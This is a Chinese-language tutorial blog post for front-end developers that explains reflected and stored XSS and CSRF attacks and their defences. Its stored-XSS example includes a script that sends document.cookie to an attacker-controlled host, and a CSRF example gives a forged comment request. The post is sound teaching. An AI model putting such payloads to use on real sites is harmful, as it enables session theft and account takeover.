web安全的攻防之道

做为一名前端开发工程师，尤其是2c的项目，网络安全是我们整个项目中不可绕过的一个环节。它对一个项目甚至一家小型公司能否长期、健壮的生存下去，也有着至关重要的作用。那么常见的网络攻击有哪些呢？我们又该如何去防范呢？

XSS（Cross Site Scripting）跨站脚本攻击

为了不和层叠样式表（Cascading Style Sheet, CSS）重名，就简称XSS。它是常见的对web站点的攻击方式，可已盗取用户账号、对数据进行增删改等操作，具有极大的危险性，是网络安全防御中的头号敌人。它的攻击形式分为两种：

1、反射型

反射型XSS，也称作非持久性XSS。通常的做法是将攻击代码作为URL中的请求参数，提交到服务端，服务器拿到该字段后写入到html中返回给浏览器，浏览器在解析到这段攻击代码时执行，那么攻击者就可以为所欲为了。举个例子

1、一个问卷页面有一个输入框，是用户用来反馈意见的，参数名叫description

2、小明输入意见之后点击提交，发送了一条get请求http://survey.com?description=我很满意

3、服务端拿到description字段之后写入到http报文中，执行一个302重定向到预览页面

4、小明提交之后，直接被服务端重定向到预览页，看到了自己提交的页面，页面的内容是“我很满意”

上面是一个正常的流程，没有问题。假如我这两天看小明有点不顺眼，给他发了一条url：http://survey.com?description=

<script>while(true){console.log('你个混蛋')}</script>。这时候小明点了这个连接，按照上面的1、2、3、4步走下去，到第4步，浏览器解析到<script>...</script>，就会当作是一段正常的js代码，那么小明就会在这无限的死循环中凌乱。

2、存储型

存储型XSS，也称作持久型XSS。通常是将攻击代码保持到数据库中，然后其他用户访问到该网站时，返回的数据中包含了这条包含攻击代码的数据，再由浏览器解析执行，就可以达到攻击目的。举个例子

1、我在某个论坛的一个帖子里回复了这么一段评论：

<script>
let img=document.createElement('IMG')；
img.src = 'http://mysite.com?cookie=' + document.cookie;  // 把cookie发送到我的私人网站
document.body.appendChild(img);
</script>

2、点击评论，提交到服务器，保存到数据库

3、当小明浏览到这个帖子，查看到评论区时获取到了我之前的评论

4、浏览器解析到我的评论，会当成脚本来执行。这样小明的登陆信息就在无感知的情况下被我盗取了

总结

不管是哪种攻击形式，XSS攻击的过程分为两个环节，一是注入，二是执行，缺一不可，所以防范XSS攻击可以从这两个方面下手：

1、输入端：首先需要前端开发对特殊字符进行过滤，如<>、DOM属性如onerror等

2、输出端：像一些常见的符号，如<>在输出的时候要对其进行转换编码。（如果用的是vue或者react，其实是不存在这个问题的。我们通常会将用户的输入当作文本来显示，如vue中使用<div>{{description}}</div>，即使description是一段js代码，vue在解析到这里的时候也是使用document.createTextNode方法来创建一个文本节点，最终显示在页面上的是这段js代码，而并不会由浏览器直接执行）

3、不要将重要信息放入cookie中，如果需要，让服务端在http响应头中加入httponly，这样js就获取不到cookie了

csrf（Cross-Site Request Forgery）跨站点请求伪造

这是另一种web攻击方式，简单来说，就是我可以冒充你的身份来完成我想干的坏事。举个例子，我和你同时看上了一个小姐姐，小姐姐今天在某社交网站 http://www.photo.com上发了一张自拍照，你打开网站，输入账号密码之后，正在欣赏着小姐姐的照片时，这时我邪恶的一笑，给你发了个我的个人网站的网址http://mysite.com，让你给点意见，你爽快的打开了。奇妙的事情发生了，小姐姐的这张自拍的评论区中出现了你的一条评论：“哪里来的自信，还敢发自拍？”。于是小姐姐拉黑了你，而你却一脸懵逼，我嘛！离成功又进了一步（yy中......）

让我们把时间拉回到你打开我私人网站的那一刻，在这之后究竟发生了什么呢？

1、由于正在网站 http://www.photo.com 欣赏着小姐姐的照片，.photo.com域下正保存着你的登陆信息

2、当你带我我的网站 http://mysite.com 时，我偷偷的网小姐姐的评论区发送了一条请求 http://www.photo.com/api/comment?to=小姐姐id&context=哪里来的自信，还敢发自拍？

3、由于这条请求的域名是.photo.com，所以会自动带上.photo.com域下的cookie，也就是你当前等陆网站 http://www.photo.com 的账号密码信息

4、当服务端接收到这条请求时，拿到cookie进行验证，发现确实是本网站的用户。于是就在小姐姐的评论区插入了这条评论，而评论人恰恰是你，于是就有了后面的故事情节。

总结

相似的手段还可以做很多事情，如发邮件、短信、买东西、转账等等。那我们该如何防御呢？其实这属于服务端的范畴，不过作为一名心中有小姐姐的前端开发，我们还是需要了解一下，还是以上面的例子来讲解：

1、验证 referrer 字段

当你点击了我的网站，发送这条评论时，请求的 referer 字段是我的网站地址http://mysite.com，而不是社交网站的地址 http://www.photo.com，这是社交网站的服务端发现 referer 字段不是自己的域名时，就可以果断拒绝这条评论请求。并且在响应体中写到：“想蒙我？没门儿”

2、增加 token 验证

我可以冒充你的原因是因为你的身份信息都是放在cookie里的，而同域名下的请求时自动带上cookie的。如果该网站的后端开发生成一个随机数token给前端，前端每次请求的时候把token加到post请求参数中（因为get请求参数会放在url中，我可以从document.referrer中获取到参数中的token）或者header中，那么我就无法冒充了。

先写到这儿，有什么不对的地方，欢迎大佬们拍砖指正。